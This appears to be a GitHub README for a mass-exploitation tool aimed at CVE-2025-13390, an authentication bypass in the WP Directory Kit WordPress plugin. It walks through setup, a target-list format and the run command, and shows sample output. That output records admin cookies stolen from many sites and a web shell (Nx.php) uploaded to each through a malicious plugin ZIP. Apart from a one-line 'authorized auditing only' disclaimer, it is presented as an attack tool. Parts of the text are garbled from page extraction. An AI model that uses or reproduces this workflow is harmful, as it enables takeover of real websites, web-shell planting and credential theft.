nxploited/cve-2025-13390WP Directory Kit <= 1.4.4 - Authentication Bypass to Privilege Escalation via Account Takeover
WP Directory Kit <= 1.4.4 - Authentication Bypass to Privilege Escalation via Account Takeover
The WP Directory Kit plugin for WordPress is vulnerable to authentication bypass in all versions up to, and including, 1.4.4 due to incorrect implementation of the authentication algorithm in the
wdk_generate_auto_login_linkfunction.This is due to the feature using a cryptographically weak token generation mechanism. This flaw makes it possible for unauthenticated attackers to gain administrative access and achieve full site takeover via the auto-login endpoint with a predictable token.
- CNA: Wordfence
- Base Score: 10.0 CRITICAL
- Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Nx.php).Nx.php).pip install -r requirements.txt
# Or individually:
pip install requests beautifulsoup4 colorama
Nxploited.zip) containing your shell named Nx.php in the root.list.txt) with one URL/host per line.http(s)://) or just domains/IPs.http://vuln-site1.tld
https://vuln-site2.tld
192.168.56.101
python3 CVE-2025-13390.py
list.txtNxploited.zipsuccess_cookies.txt — Sites where successful admin cookies were extracted.success_shells.txt — URLs of successfully uploaded shells.uploads_log.txt — Full log of plugin upload attempts. _______ __ __ _______ _______ _______ _______ _______ ____ _______ _______ _______ _______
| || | | || | | || _ || || | | | | || || _ || _ |
| || |_| || ___| ____ |____ || | | ||____ || ____| ____ | | |___ ||___ || | | || | | |
| || || |___ |____| ____| || | | | ____| || |____ |____| | | ___| | ___| || |_| || | | |
| _|| || ___| | ______|| |_| || ______||_____ | | | |___ ||___ ||___ || |_| |
| |_ | | | |___ | |_____ | || |_____ _____| | | | ___| | ___| | | || |
|_______| |___| |_______| |_______||_______||_______||_______| |___| |_______||_______| |___||_______|
By: Nxploited (Khaled ALenazi)
Telegram: @Nxploited
GitHub: https://github.com/Nxploited
Professional WordPress cookie exploit & plugin uploader.
Features: Extracts login cookies, uploads plugin (default: Nxploited.zip), expects shell as Nx.php.
Results: Successful shells in success_shells.txt, successful cookies in success_cookies.txt.
Highly automated. Multi-threaded. For authorized auditing only.
Targets file [default: list.txt]:
Threads [default: 8]:
Target user ID [default: 1]:
Token [default: a1b2c3d4e5]:
Plugin ZIP file path [default: Nxploited.zip]:
Plugin folder name? [default: Nxploited]:
Reminder: Ensure your shell file INSIDE the plugin ZIP is named Nx.php.
Loaded 42 targets, 8 threads.
...
[SUCCESS] http://victim.com: Cookie extracted
[SHELL] http://victim.com/wp-content/plugins/Nxploited/Nx.php
...
Done. Shell URLs in success_shells.txt, cookies in success_cookies.txt.
8, 16, etc.)1 = admin)/wp-content/plugins/ for your payload (default taken from zip name)